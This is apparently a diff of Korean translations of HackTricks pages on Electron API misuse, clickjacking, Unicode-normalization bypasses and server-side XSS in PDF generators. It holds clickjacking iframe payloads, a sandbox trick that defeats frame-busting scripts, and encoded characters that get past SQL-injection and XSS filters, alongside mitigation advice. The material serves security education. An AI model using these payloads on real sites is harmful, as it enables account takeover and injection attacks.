- 애플리케이션을 **응용 프로그램 폴더**로 **이동**합니다(맥OS에서). Mac 사용자를 위한 **표준 설치**를 보장하는 데 도움이 됩니다.
|
||||
- 애플리케이션을 **응용 프로그램 폴더**로 **이동**합니다 (macOS에서). Mac 사용자를 위한 **표준 설치**를 보장하는 데 도움이 됩니다.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Windows**에서 **사용자 지정 점프 목록**을 **설정**하거나 **제거**합니다. 사용자가 작업이 표시되는 방식을 조직하기 위해 **카테고리**를 지정할 수 있습니다.
|
||||
- **Windows**에서 **사용자 정의 점프 목록**을 **설정**하거나 **제거**합니다. 사용자가 작업이 표시되는 방식을 조직하기 위해 **카테고리**를 지정할 수 있습니다.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **로그인** 시 실행되는 **실행 파일**과 그 **옵션**을 **구성**합니다(맥OS 및 Windows 전용).
|
||||
- **로그인** 시 어떤 **실행 파일**이 **옵션**과 함께 시작되는지를 **구성**합니다 (macOS 및 Windows 전용).
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
@ -348,11 +373,11 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
* **setUserDefault**는 이러한 기본 설정을 **수정**할 수 있으며, 이는 앱의 **구성**에 영향을 미칠 수 있습니다.
|
||||
|
||||
* **구버전 Electron**(v8.3.0 이전)에서는 **표준 스위트**의 NSUserDefaults만 **접근 가능**했습니다.
|
||||
* **구버전 Electron**(v8.3.0 이전)에서는 **표준 모음**의 NSUserDefaults만 **접근 가능**했습니다.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
이 함수는 주어진 파일을 파일 관리자에서 보여주며, 이는 **파일을 자동으로 실행할 수 있습니다**.
|
||||
이 함수는 주어진 파일을 파일 관리자에서 보여주며, 이는 **파일을 자동으로 실행**할 수 있습니다.
|
||||
|
||||
자세한 정보는 [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)에서 확인하세요.
|
||||
|
||||
@ -362,7 +387,7 @@ Electron 앱은 **XSS 공격**을 **방지**하기 위해 **Content Security Pol
|
||||
|
||||
일반적으로 **`main.js`** 파일이나 **`index.html`** 템플릿의 **메타 태그** 안에 CSP를 설정합니다.
|
||||
|
||||
자세한 정보는 다음에서 확인하세요:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-web/content-security-policy-csp-bypass/
|
||||
@ -372,7 +397,7 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity)는 Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티 패턴을 식별하는 도구입니다.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint)는 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)은 취약한 서드파티 라이브러리를 검사합니다.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)은 취약한 서드파티 라이브러리를 확인하는 도구입니다.
|
||||
- [**Electro.ng**](https://electro.ng/): 구매해야 합니다.
|
||||
|
||||
## Labs
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## What is Clickjacking
|
||||
|
||||
클릭재킹 공격에서 **사용자**는 **보이지 않거나** 다른 요소로 위장된 웹페이지의 **요소**를 **클릭하도록 속아** 넘어갑니다. 이러한 조작은 사용자에게 의도치 않은 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 온라인 제품 구매 등이 있습니다.
|
||||
클릭재킹 공격에서, **사용자**는 **보이지 않거나** 다른 요소로 위장된 웹페이지의 **요소**를 **클릭하도록 속아** 넘어갑니다. 이 조작은 사용자가 원치 않는 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 제품의 온라인 구매 등이 있습니다.
|
||||
|
||||
### Prepopulate forms trick
|
||||
|
||||
때때로 **페이지를 로드할 때 GET 매개변수를 사용하여 양식의 필드 값을 채우는 것이 가능합니다**. 공격자는 이 동작을 악용하여 임의의 데이터로 양식을 채우고 클릭재킹 페이로드를 전송하여 사용자가 제출 버튼을 누르도록 할 수 있습니다.
|
||||
때때로 **페이지 로딩 시 GET 매개변수를 사용하여 양식의 필드 값을 채우는 것이 가능합니다**. 공격자는 이 행동을 악용하여 임의의 데이터로 양식을 채우고 클릭재킹 페이로드를 전송하여 사용자가 제출 버튼을 누르도록 할 수 있습니다.
|
||||
|
||||
### Populate form with Drag\&Drop
|
||||
|
||||
사용자에게 **양식을 작성하도록** 요구해야 하지만 특정 정보를 직접적으로 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 **Drag\&Drop**하여 제어된 데이터를 입력하도록 요청할 수 있습니다. [**이 예제**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)와 같이요.
|
||||
사용자에게 **양식을 작성하도록** 요구하지만 특정 정보를 직접적으로 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 [**이 예제**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)와 같이 제어된 데이터를 작성할 수 있는 무언가를 **드래그 앤 드롭**하도록 요청할 수 있습니다.
|
||||
|
||||
### Basic Payload
|
||||
```css
|
||||
@ -58,7 +58,7 @@ left:210px;
|
||||
<div class="secondClick">Click me next</div>
|
||||
<iframe src="https://vulnerable.net/account"></iframe>
|
||||
```
|
||||
### 드래그 앤 드롭 + 클릭 페이로드
|
||||
### Drag\&Drop + Click 페이로드
|
||||
```css
|
||||
<html>
|
||||
<head>
|
||||
@ -89,57 +89,59 @@ background: #F00;
|
||||
```
|
||||
### XSS + Clickjacking
|
||||
|
||||
사용자가 XSS를 **트리거**하기 위해 어떤 요소를 클릭해야 하는 **XSS 공격**을 식별하고 페이지가 **클릭재킹**에 취약하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.\
|
||||
사용자가 XSS를 **트리거**하기 위해 어떤 요소를 클릭해야 하는 **XSS 공격**을 식별하고 페이지가 **클릭재킹에 취약**하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.\
|
||||
예시:\
|
||||
계정의 일부 개인 정보에서 **자기 XSS**를 발견했습니다(정보는 **오직 당신만 설정하고 읽을 수 있는** 정보입니다). 이러한 세부 정보를 설정하는 **양식**이 **클릭재킹**에 **취약**하며 GET 매개변수로 **양식**을 **미리 채울** 수 있습니다.\
|
||||
공격자는 해당 페이지에 대한 **클릭재킹** 공격을 준비하여 **XSS 페이로드**로 **양식**을 **미리 채우고** **사용자**를 **제출**하도록 속일 수 있습니다. 따라서 **양식이 제출되고** 값이 수정되면, **사용자는 XSS를 실행하게 됩니다**.
|
||||
계정의 일부 개인 정보에서 **자기 XSS**를 발견했습니다(정보는 **오직 당신만 설정하고 읽을 수 있는** 정보입니다). 이러한 세부 정보를 설정하는 **양식**이 **클릭재킹에 취약**하며 GET 매개변수로 **양식**을 **미리 채울** 수 있습니다.\
|
||||
공격자는 **XSS 페이로드**로 **양식**을 **미리 채우는** 클릭재킹 공격을 준비하고 **사용자**를 속여 양식을 **제출**하도록 할 수 있습니다. 따라서 **양식이 제출되고** 값이 수정되면, **사용자는 XSS를 실행하게 됩니다**.
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
먼저 [이 게시물에서 설명됨](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), 이 기술은 피해자에게 특정 위치에 배치된 사용자 정의 페이지의 버튼을 두 번 클릭하도록 요청하며, 마우스 다운과 클릭 이벤트 간의 시간 차이를 이용해 두 번 클릭하는 동안 피해자 페이지를 로드하여 **피해자가 실제로 피해자 페이지의 정당한 버튼을 클릭하게 만듭니다**.
|
||||
먼저 [이 게시물에서 설명됨](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), 이 기술은 피해자에게 특정 위치에 배치된 사용자 정의 페이지의 버튼을 두 번 클릭하도록 요청하고, 마우스 다운 이벤트와 클릭 이벤트 간의 시간 차이를 이용해 두 번 클릭하는 동안 피해자 페이지를 로드하여 **피해자가 실제로 피해자 페이지의 정당한 버튼을 클릭하게** 합니다.
|
||||
|
||||
예시는 이 비디오에서 볼 수 있습니다: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
코드 예시는 [이 페이지](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html)에서 찾을 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 이 기술은 사용자가 클릭재킹에 대한 모든 보호를 우회하여 피해자 페이지의 1곳을 클릭하도록 속일 수 있습니다. 따라서 공격자는 **OAuth 권한 수락과 같이 단 1회의 클릭으로 수행할 수 있는 민감한 작업을 찾아야 합니다**.
|
||||
> 이 기술은 사용자가 클릭재킹에 대한 모든 보호를 우회하여 피해자 페이지의 1곳을 클릭하도록 속일 수 있게 합니다. 따라서 공격자는 **1회 클릭으로 수행할 수 있는 민감한 작업, 예를 들어 권한을 수락하는 OAuth 프롬프트**를 찾아야 합니다.
|
||||
|
||||
## Strategies to Mitigate Clickjacking
|
||||
## Clickjacking 완화 전략
|
||||
|
||||
### Client-Side Defenses
|
||||
### 클라이언트 측 방어
|
||||
|
||||
클라이언트 측에서 실행되는 스크립트는 클릭재킹을 방지하기 위한 작업을 수행할 수 있습니다:
|
||||
|
||||
- 애플리케이션 창이 주 창 또는 상위 창인지 확인합니다.
|
||||
- 모든 프레임을 표시합니다.
|
||||
- 보이지 않는 프레임에서의 클릭을 방지합니다.
|
||||
- 보이지 않는 프레임에서 클릭을 방지합니다.
|
||||
- 잠재적인 클릭재킹 시도에 대해 사용자에게 감지하고 경고합니다.
|
||||
|
||||
그러나 이러한 프레임 파괴 스크립트는 우회될 수 있습니다:
|
||||
|
||||
- **브라우저의 보안 설정:** 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다.
|
||||
- **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-top-navigation` 없이 `allow-forms` 또는 `allow-scripts` 값으로 `sandbox` 속성을 설정하여 프레임 파괴 스크립트를 무력화할 수 있습니다. 이는 iframe이 자신이 상위 창인지 확인하는 것을 방지합니다, 예를 들어,
|
||||
- **브라우저 보안 설정:** 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다.
|
||||
- **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-top-navigation` 없이 `allow-forms` 또는 `allow-scripts` 값으로 `sandbox` 속성을 설정하여 프레임 파괴 스크립트를 무력화할 수 있습니다. 이는 iframe이 상위 창인지 확인하는 것을 방지합니다, 예를 들어,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
`allow-forms` 및 `allow-scripts` 값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 공격 유형에 따라 대상 사이트의 의도된 기능을 보장하기 위해 `allow-same-origin` 및 `allow-modals`와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지가 허용할 권한을 안내할 수 있습니다.
|
||||
`allow-forms` 및 `allow-scripts` 값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 공격 유형에 따라 대상 사이트의 의도된 기능을 보장하기 위해 `allow-same-origin` 및 `allow-modals`와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지는 허용할 권한을 안내할 수 있습니다.
|
||||
|
||||
### 서버 측 방어
|
||||
|
||||
#### X-Frame-Options
|
||||
|
||||
**`X-Frame-Options` HTTP 응답 헤더**는 브라우저에 `<frame>` 또는 `<iframe>`에서 페이지를 렌더링하는 것의 정당성에 대해 알리며 Clickjacking을 방지하는 데 도움을 줍니다:
|
||||
**`X-Frame-Options` HTTP 응답 헤더**는 브라우저에 `<frame>` 또는 `<iframe>`에서 페이지를 렌더링하는 것이 합법적인지에 대한 정보를 제공하여 Clickjacking을 방지하는 데 도움을 줍니다:
|
||||
|
||||
- `X-Frame-Options: deny` - 어떤 도메인도 콘텐츠를 프레임할 수 없습니다.
|
||||
- `X-Frame-Options: sameorigin` - 현재 사이트만 콘텐츠를 프레임할 수 있습니다.
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - 지정된 'uri'만 페이지를 프레임할 수 있습니다.
|
||||
- 제한 사항에 유의하세요: 브라우저가 이 지시어를 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시어를 선호합니다.
|
||||
- 제한 사항에 유의하십시오: 브라우저가 이 지시어를 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시어를 선호합니다.
|
||||
|
||||
#### Content Security Policy (CSP) frame-ancestors 지시어
|
||||
|
||||
**CSP의 `frame-ancestors` 지시어**는 Clickjacking 보호를 위한 권장 방법입니다:
|
||||
**CSP의 `frame-ancestors` 지시어**는 Clickjacking 방지를 위한 권장 방법입니다:
|
||||
|
||||
- `frame-ancestors 'none'` - `X-Frame-Options: deny`와 유사합니다.
|
||||
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`과 유사합니다.
|
||||
@ -153,7 +155,7 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
|
||||
### `child-src` 및 `frame-src`가 포함된 Content Security Policy (CSP)
|
||||
|
||||
**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있도록 허용해야 하는 소스를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다.
|
||||
**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있는 소스를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다.
|
||||
|
||||
#### `frame-src` 지시어
|
||||
|
||||
@ -166,14 +168,14 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||||
|
||||
#### `child-src` 지시어
|
||||
|
||||
- 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입되었습니다.
|
||||
- frame-src 및 worker-src에 대한 대체 역할을 합니다.
|
||||
- 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입됨.
|
||||
- frame-src 및 worker-src에 대한 대체 역할을 함.
|
||||
```
|
||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
```
|
||||
이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임과 워커를 허용합니다.
|
||||
이 정책은 동일 출처(자기 자신)와 https://trusted-website.com에서 프레임과 워커를 허용합니다.
|
||||
|
||||
**사용 참고 사항:**
|
||||
**사용 노트:**
|
||||
|
||||
- 사용 중단: child-src는 frame-src 및 worker-src로 대체되고 있습니다.
|
||||
- 대체 동작: frame-src가 없으면 child-src가 프레임에 대한 대체로 사용됩니다. 둘 다 없으면 default-src가 사용됩니다.
|
||||
@ -189,9 +191,9 @@ top.location = self.location
|
||||
```
|
||||
#### Anti-CSRF 토큰 사용
|
||||
|
||||
- **토큰 검증:** 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자의 의도에 의해 이루어지고 Clickjacked 페이지를 통해 이루어지지 않도록 합니다.
|
||||
- **토큰 검증:** 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자의 의도에 의해 이루어지며 Clickjacked 페이지를 통해 이루어지지 않도록 합니다.
|
||||
|
||||
## 참고문헌
|
||||
## References
|
||||
|
||||
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||||
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
||||
|
@ -1,27 +1,27 @@
|
||||
# 유니코드 정규화
|
||||
# Unicode Normalization
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**다음은 요약입니다:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). 추가 세부정보는 확인해 보세요 (이미지는 거기서 가져온 것입니다).
|
||||
**이것은 다음의 요약입니다:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). 추가 세부정보는 확인해 보세요 (이미지는 거기서 가져온 것입니다).
|
||||
|
||||
## 유니코드 및 정규화 이해하기
|
||||
## Understanding Unicode and Normalization
|
||||
|
||||
유니코드 정규화는 서로 다른 문자에 대한 이진 표현이 동일한 이진 값으로 표준화되도록 하는 과정입니다. 이 과정은 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 매우 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다:
|
||||
유니코드 정규화는 문자의 서로 다른 이진 표현이 동일한 이진 값으로 표준화되도록 하는 과정입니다. 이 과정은 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 매우 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다:
|
||||
|
||||
1. **정준 동등성**: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정준 동등하다고 간주됩니다.
|
||||
2. **호환성 동등성**: 문자가 동일한 추상 문자를 나타낼 수 있지만 다르게 표시될 수 있는 약한 형태의 동등성입니다.
|
||||
1. **Canonical Equivalence**: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정규 동등한 것으로 간주됩니다.
|
||||
2. **Compatibility Equivalence**: 문자가 동일한 추상 문자를 나타낼 수 있지만 다르게 표시될 수 있는 약한 형태의 동등성입니다.
|
||||
|
||||
**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정준 및 호환성 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 [Unicode.org](https://unicode.org/)에서 이러한 기술을 탐색할 수 있습니다.
|
||||
**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정규 및 호환성 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 [Unicode.org](https://unicode.org/)에서 이러한 기술을 탐색할 수 있습니다.
|
||||
|
||||
### 유니코드 인코딩에 대한 주요 사항
|
||||
### Key Points on Unicode Encoding
|
||||
|
||||
유니코드 인코딩을 이해하는 것은 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 특히 중요합니다. 주요 사항은 다음과 같습니다:
|
||||
유니코드 인코딩을 이해하는 것은 특히 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 중요합니다. 주요 사항은 다음과 같습니다:
|
||||
|
||||
- **코드 포인트와 문자**: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
|
||||
- **바이트 표현**: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표현됩니다. 예를 들어, LATIN-1 문자는(영어 사용 국가에서 일반적) 하나의 바이트를 사용하여 표현됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현을 위해 더 많은 바이트가 필요합니다.
|
||||
- **인코딩**: 이 용어는 문자가 일련의 바이트로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트로 표현되고, 다른 문자는 최대 네 개의 바이트로 표현되는 일반적인 인코딩 표준입니다.
|
||||
- **데이터 처리**: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 인식해야 합니다.
|
||||
- **UTF의 변형**: UTF-8 외에도 최소 2바이트(최대 4바이트)를 사용하는 UTF-16 및 모든 문자에 대해 4바이트를 사용하는 UTF-32와 같은 다른 인코딩 표준이 있습니다.
|
||||
- **Code Points and Characters**: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
|
||||
- **Bytes Representation**: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표현됩니다. 예를 들어, LATIN-1 문자는(영어 사용 국가에서 일반적) 하나의 바이트를 사용하여 표현됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현을 위해 더 많은 바이트가 필요합니다.
|
||||
- **Encoding**: 이 용어는 문자가 일련의 바이트로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트로 표현되고, 다른 문자는 최대 네 개의 바이트로 표현되는 일반적인 인코딩 표준입니다.
|
||||
- **Processing Data**: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 인식해야 합니다.
|
||||
- **Variants of UTF**: UTF-8 외에도 최소 2바이트(최대 4바이트)를 사용하는 UTF-16 및 모든 문자에 대해 4바이트를 사용하는 UTF-32와 같은 다른 인코딩 표준이 있습니다.
|
||||
|
||||
유니코드의 복잡성과 다양한 인코딩 방법에서 발생할 수 있는 잠재적인 문제를 효과적으로 처리하고 완화하기 위해 이러한 개념을 이해하는 것이 중요합니다.
|
||||
|
||||
@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
### 발견하기
|
||||
|
||||
웹앱에서 반환되는 값을 찾을 수 있다면, **‘KELVIN SIGN’ (U+0212A)**을 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 반환된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다.
|
||||
웹앱 내에서 에코된 값을 찾을 수 있다면, **‘KELVIN SIGN’ (U+0212A)**를 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 에코된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다.
|
||||
|
||||
다른 **예시**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83`는 **유니코드** 후에 `Leonishan`입니다.
|
||||
|
||||
@ -41,9 +41,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
### **SQL 인젝션 필터 우회**
|
||||
|
||||
사용자 입력으로 SQL 쿼리를 생성하는 데 문자 `'`를 사용하는 웹 페이지를 상상해 보세요. 이 웹은 보안 조치로 사용자 입력에서 문자 **`'`**의 모든 발생을 **삭제**하지만, **그 삭제 후**와 **쿼리 생성 전**에 사용자 입력을 **유니코드**로 **정규화**합니다.
|
||||
사용자 입력으로 SQL 쿼리를 생성하는 웹 페이지를 상상해 보세요. 이 웹은 보안 조치로 **`'`** 문자의 모든 발생을 사용자 입력에서 **삭제**하지만, **그 삭제 후**와 **쿼리 생성 전**에 사용자 입력을 **유니코드**로 **정규화**합니다.
|
||||
|
||||
그렇다면, 악의적인 사용자는 `' (0x27)`에 해당하는 다른 유니코드 문자 `%ef%bc%87`을 삽입할 수 있습니다. 입력이 정규화되면 단일 인용부호가 생성되고 **SQL 인젝션 취약점**이 발생합니다:
|
||||
그렇다면, 악의적인 사용자는 `' (0x27)`에 해당하는 다른 유니코드 문자 `%ef%bc%87`을 삽입할 수 있습니다. 입력이 정규화되면, 단일 인용부호가 생성되고 **SQL 인젝션 취약점**이 발생합니다:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -81,24 +81,34 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
|
||||
|
||||
### XSS (교차 사이트 스크립팅)
|
||||
|
||||
웹앱을 속이고 XSS를 악용하기 위해 다음 문자 중 하나를 사용할 수 있습니다:
|
||||
다음 문자 중 하나를 사용하여 웹 애플리케이션을 속이고 XSS를 악용할 수 있습니다:
|
||||
|
||||
 (2).png>)
|
||||
|
||||
예를 들어, 제안된 첫 번째 유니코드 문자는 `%e2%89%ae` 또는 `%u226e`로 전송될 수 있습니다.
|
||||
예를 들어, 제안된 첫 번째 유니코드 문자는 다음과 같이 전송될 수 있습니다: `%e2%89%ae` 또는 `%u226e`
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
### 퍼징 정규 표현식
|
||||
|
||||
백엔드가 **사용자 입력을 정규 표현식으로 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식은 **전송된 URL**을 **정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다.
|
||||
백엔드가 **정규 표현식으로 사용자 입력을 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식이 **전송된 URL을 정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다.
|
||||
|
||||
도구 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*는 백엔드를 퍼징하기 위해 **입력의 변형을 생성**할 수 있게 해줍니다. 더 많은 정보는 **github**와 이 [**게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
|
||||
|
||||
## 유니코드 오버플로우
|
||||
|
||||
이 [블로그](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)에서, 바이트의 최대 값은 255이며, 서버가 취약하다면 오버플로우를 만들어 특정하고 예상치 못한 ASCII 문자를 생성할 수 있습니다. 예를 들어, 다음 문자는 `A`로 변환됩니다:
|
||||
|
||||
- 0x4e41
|
||||
- 0x4f41
|
||||
- 0x5041
|
||||
- 0x5141
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||||
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
|
||||
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,25 +4,25 @@
|
||||
|
||||
## Server Side XSS (Dynamic PDF)
|
||||
|
||||
웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 봇을 **속여서 임의의 JS 코드를 실행**하도록 시도할 수 있습니다.\
|
||||
따라서 **PDF 생성기 봇이** 어떤 종류의 **HTML** **태그**를 발견하면, 이를 **해석**하게 되고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다.
|
||||
사용자 제어 입력을 사용하여 PDF를 생성하는 웹 페이지가 있는 경우, PDF를 생성하는 봇을 **속여서 임의의 JS 코드를 실행**하도록 시도할 수 있습니다.\
|
||||
따라서 **PDF 생성기 봇이** 어떤 종류의 **HTML** **태그**를 찾으면, 이를 **해석**하게 되고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다.
|
||||
|
||||
`<script></script>` 태그는 항상 작동하지 않으므로, JS를 실행하기 위해 다른 방법이 필요합니다 (예: `<img`를 악용).\
|
||||
`<script></script>` 태그는 항상 작동하지 않으므로, JS를 실행하기 위해 다른 방법이 필요합니다 (예: `<img` 악용).\
|
||||
또한, 일반적인 익스플로잇에서는 생성된 PDF를 **보고/다운로드할 수** 있으므로, JS를 통해 **작성한 모든 것**을 볼 수 있습니다 (예: `document.write()` 사용). 그러나 생성된 PDF를 **볼 수 없다면**, 아마도 **웹 요청을 통해 정보를 추출해야** 할 것입니다 (Blind).
|
||||
|
||||
### Popular PDF generation
|
||||
|
||||
- **wkhtmltopdf**는 HTML과 CSS를 PDF 문서로 변환하는 능력으로 알려져 있으며, WebKit 렌더링 엔진을 활용합니다. 이 도구는 오픈 소스 명령줄 유틸리티로 제공되어 다양한 애플리케이션에서 접근할 수 있습니다.
|
||||
- **TCPDF**는 PDF 생성을 위한 PHP 생태계 내에서 강력한 솔루션을 제공합니다. 이미지, 그래픽 및 암호화를 처리할 수 있어 복잡한 문서를 생성하는 데 유용합니다.
|
||||
- Node.js 환경에서 작업하는 경우, **PDFKit**이 유효한 옵션을 제공합니다. HTML 및 CSS에서 직접 PDF 문서를 생성할 수 있어 웹 콘텐츠와 인쇄 가능한 형식 간의 다리를 제공합니다.
|
||||
- Java 개발자는 PDF 생성뿐만 아니라 디지털 서명 및 양식 작성과 같은 고급 기능을 지원하는 **iText** 라이브러리를 선호할 수 있습니다. 포괄적인 기능 세트로 인해 안전하고 상호작용이 가능한 문서를 생성하는 데 적합합니다.
|
||||
